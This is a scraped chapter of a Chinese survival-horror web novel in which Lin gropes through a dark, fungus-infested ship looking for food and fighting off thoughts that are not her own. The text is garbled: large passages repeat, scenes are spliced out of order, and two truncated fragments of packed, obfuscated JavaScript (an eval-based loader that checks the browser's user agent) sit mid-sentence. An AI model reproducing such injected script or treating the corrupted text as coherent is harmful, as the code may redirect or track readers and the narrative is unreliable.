“咕----” 她就是饿了。 她想起佐伊说，她一直被灌着营养液。一直是多久，大概是几个月吧，林也说不清楚时间，只觉得很久很久过去了。所以她都快忘记进食是什么了。 别想那么多，赶紧去找点东西吃，不然还没有遭遇什么怪东西，她就先倒下了。 对，还有水，林摸了摸干裂的唇。 很快就摸索到了一个缺口，是道门，她依旧贴着墙壁进去，进去的一瞬间，林顿住了。 房间竟然有热源，就连地板，踩上去都脚底发烫，但很诡异，不过一脚的区别。踏进去就是闷热潮湿的环境。退出来一步，还是阴冷的船舱。 不过进入一瞬，她感觉空气不仅仅是充满了更多的孢子粉，更窒息的是，那个空间，仿佛有生命在繁殖，空间中连一丝流动的气息都已断绝，填满空间的，是它生长的雾状躯体。而其他误入的生物很快就会成为消化液袋中的昆虫。 而孢子粉，不过是最没有效率的弥散罢了。 为什么会有这样的判断？ 这种突然但又好似习以为常的意识，不知来源。 自从林可以见证他人后，大脑自动就会扩展感受，特别是生存的本能。 这种扩展说严重点也可以理解为被迫。不知来源，可能是她认识的人，也可能仅仅是无关的路人。甚至严重的时候，脑子会打架。 就如此刻。她感知到，房间显然存在危险又未知的东西。不过奇怪的是，明明没有门板，却好似有无形的墙挡住了后面的秘密，它出不来。 林略过房间，继续摸索着墙壁，有风，说明走道没有密封。她最好先去把这个缺口找到，搞清楚目前在哪，是什么状况，说不定直接可以逃出这个极其诡异的地方。 可是， 啊？ 林的腿死死钉在门口，一步都迈不出。 “我要进去” 她突然这么想。 “啪” 林给了自己一耳光，抽得手生疼，下颌的金属条嗡嗡震着骨头，她清醒了一瞬。 随后，她在门口用匕首刻下印记，继续向走道前进。 没必要去理解所有的想法，她要先完成自己的事。 很快，墙体有变化，她来到一个凹槽部位。 黑暗中林摸索到了几个不大的木桶，踢了踢，有液体晃动，凿开一条缝，几乎熄灭的蓝色荧光隐隐若现。 闻起来倒是没什么异味，但妖冶的蓝光，林又放弃了尝一口的冲动。 又前前后后凭着触觉判断，这里应该是厨房。有烤箱有餐具，还有一些瓶瓶罐罐，拧开，仅仅只是香料。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她什么也听不见，周围就是一片死寂，如果真有东西跟着她，脆弱的木质墙壁和地板或多或少都会发出声音。 林渴的喉咙痛，嘴唇发麻，至于饿，她感到自己再过不久，连走都走不动了。 还是回去把厨房那几桶发光的液体喝了。 林原路返回，她一路都是贴墙走，所以很快回到舱梯，她正准备下舱梯的时，突然顿住了。 因为她突然产生一个念头，这该死的楼梯还要下爬，反正位置也不高，她直接跳下去就好了。 她一刻都等不了了！渴死了。 林想起一楼那个有生命的房间，当时她也是这么想的，极致的渴望，甚至红了眼，一时半会走不动，身体被控制住了。 所以这还不是她的想法。 一种无名火涌上，林觉得自己再这么被人做实验，早晚会分不清自我，疯掉，她受够这被动的感觉了。 她正准备什么都不想了，跳下去，但谨慎成了她的习惯，她摸了摸墙壁。 不对，她刻下的叉怎么不见了？ 林四处摸索，上上下下，确定是真的不见。而这个舱梯，她无比确定是原路返回，并非找错。 她沉默了一会，这个诡异的船体，什么情况都有可能发生。 那就试试会不会死。 于是她掀开木板，跳了下去。 40.兽戮围场18 车厢停顿了一下，开始移动，而且速度比她骑过的任何快马都要快，隔着重门，巨大轰鸣震得铁门发颤，是任何生物都无法发出来的声音，让她想起入港的舰船。 不知过了多久，咔哒一下，突然停住了，靠着墙的林毫无防备，重重向前滚去。 然后再也没有任何动静 林对周围环境没有任何好奇，门那么重，她怎么挣扎都徒劳。 不如静观其变，等待接下来切斯特顿会安排什么节目。 于是，她倒在墙角休息。 … 光着上身，黏稠汗水连着体毛糊住了皮肤，湿漉漉的裤子紧紧贴着大腿。每一次呼吸都喘不过来。 太热了，太黑了，太窄了。 隧道只容得下他勉强转身，但他还得用力挥动着臂膀，不断凿着，铁镐撞击煤层的声音在狭小的空间里回荡。 前面这块怎么这么硬，都多少下了，还下不来 手臂震得发麻，他咬咬牙，用尽全力。 掉了。 头顶上的所有煤矿毫无准备全部倒塌，惊恐的尖叫还没有发出，所有重重的岩石埋住了口鼻胸腔，像摸黑的耗子被人一脚踩中。他要把自己内脏吐出来又要沿着缝隙爆炸出去。 不对，这不是她。 是罗格。 林倒吸一口气，眼前还是一片黑暗，但此时，自己空空荡荡的右臂第一次带给她安全感。 起码醒了过来。 她摸着墙壁站起来，奇怪，她敲敲墙壁，是木板，应该在她昏沉时又把她扔到另一块垃圾场了。 踹了几下是实的。环境不冷，于是她脱了上衣放在地上，然后摸着墙壁，一寸寸的走。 没几个转角就踢到衣服了。是个小房间。 正前方的墙敲起来是空的，她一脚踹上去，木板非常脆，几下，就开了一个她低身可以出去的空洞。 一阵陈腐霉味随着海腥味的空气猛地灌进来，林不禁捂住了口鼻。 但还是迟了点，口腔和肺部立即就发痒起来，忍不住难受的咳嗽了几下，感觉好点了，不过和一头扎进孢子丛中没什么区别。 林立即撕下衣服一角，围住下半部分脸。随着每次呼吸，布条紧紧附着在下颌金属边上，很快就潮湿闷热起来。 林矮身探出去，霉味更甚，依然是五指不见的黑暗。 但是有风。 空间很大，而且没有封闭。 穿好了破衣服，她摸着墙壁，是结实的木板拼起来的，很熟悉，像船舱。 她也嗅到了霉味之下的腐植气味和盐味，像搅烂的水草。 这里就是船舱。 脚下很湿滑，深一脚浅一脚，像在踩着泥走。 她停住了 在想这是在搞什么 大费周章把她弄过来，就扔这里，自生自灭？ 不 应该是类似围场的实验。阴影处有无数危险等着她。 但如果她选择待在房间，只有一处进出，一旦被堵，她必死无疑。 但现在黑得不见五指，她只凭左手摸索行走，倘若有人暗中发难，她反应不一定跟得上。 林只好背靠着墙，左手攥紧匕首，一步步贴着船壁往前。 眼前突然有点发黑，虽然睁眼闭眼没什么区别，但一些扭曲的图形幻视在眼前，头也有些晕，刚好有一脚没踩实，林踏空正要摔倒，还好她紧贴墙壁，胳膊肘撑着半截身子，稳住了。 难道要进入祂的里世界了？ 不，这感觉很熟悉，只不过这段时间她专注其他诡异的东西太久，反而忽略了最基础的生理本能。 “咕----” 她就是饿了。 她想起佐伊说，她一直被灌着营养液。一直是多久，大概是几个月吧，林也说不清楚时间，只觉得很久很久过去了。所以她都快忘记进食是什么了。 别想那么多，赶紧去找点东西吃，不然还没有遭遇什么怪东西，她就先倒下了。 对，还有水，林摸了摸干裂的唇。 很快就摸索到了一个缺口，是道门，她依旧贴着墙壁进去，进去的一瞬间，林顿住了。 房间竟然有热源，就连地板，踩上去都脚底发烫，但很诡异，不过一脚的区别。踏进去就是闷热潮湿的环境。退出来一步，还是阴冷的船舱。 不过进入一瞬，她感觉空气不仅仅是充满了更多的孢子粉，更窒息的是，那个空间，仿佛有生命在繁殖，空间中连一丝流动的气息都已断绝，填满空间的，是它生长的雾状躯体。而其他误入的生物很快就会成为消化液袋中的昆虫。 而孢子粉，不过是最没有效率的弥散罢了。 为什么会有这样的判断？ 这种突然但又好似习以为常的意识，不知来源。 自从林可以见证他人后，大脑自动就会扩展感受，特别是生存的本能。 这种扩展说严重点也可以理解为被迫。不知来源，可能是她认识的人，也可能仅仅是无关的路人。甚至严重的时候，脑子会打架。 就如此刻。她感知到，房间显然存在危险又未知的东西。不过奇怪的是，明明没有门板，却好似有无形的墙挡住了后面的秘密，它出不来。 林略过房间，继续摸索着墙壁，有风，说明走道没有密封。她最好先去把这个缺口找到，搞清楚目前在哪，是什么状况，说不定直接可以逃出这个极其诡异的地方。 可是， 啊？ 林的腿死死钉在门口，一步都迈不出。 “我要进去” 她突然这么想。 “啪” 林给了自己一耳光，抽得手生疼，下颌的金属条嗡嗡震着骨头，她清醒了一瞬。 随后，她在门口用匕首刻下印记，继续向走道前进。 没必要去理解所有的想法，她要先完成自己的事。 很快，墙体有变化，她来到一个凹槽部位。 黑暗中林摸索到了几个不大的木桶，踢了踢，有液体晃动，凿开一条缝，几乎熄灭的蓝色荧光隐隐若现。 闻起来倒是没什么异味，但妖冶的蓝光，林又放弃了尝一口的冲动。 又前前后后凭着触觉判断，这里应该是厨房。有烤箱有餐具，还有一些瓶瓶罐罐，拧开，仅仅只是香料。 但没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林原路返回，她一路都是贴墙走，所以很快回到舱梯，她正准备下舱梯的时，突然顿住了。 因为她突然产生一个念头，这该死的楼梯还要下爬，反正位置也不高，她直接跳下去就好了。 她一刻都等不了了！渴死了。 林想起一楼那个有生命的房间，当时她也是这么想的，极致的渴望，甚至红了眼，一时半会走不动，身体被控制住了。 所以这还不是她的想法。 一种无名火涌上，林觉得自己再这么被人做实验，早晚会分不清自我，疯掉，她受够这被动的感觉了。 她正准备什么都不想了，跳下去，但谨慎成了她的习惯，她摸了摸墙壁。 不对，她刻下的叉怎么不见了？ 林四处摸索，上上下下，确定是真的不见。而这个舱梯，她无比确定是原路返回，并非找错。 她沉默了一会，这个诡异的船体，什么情况都有可能发生。 那就试试会不会死。 于是她掀开木板，跳了下去。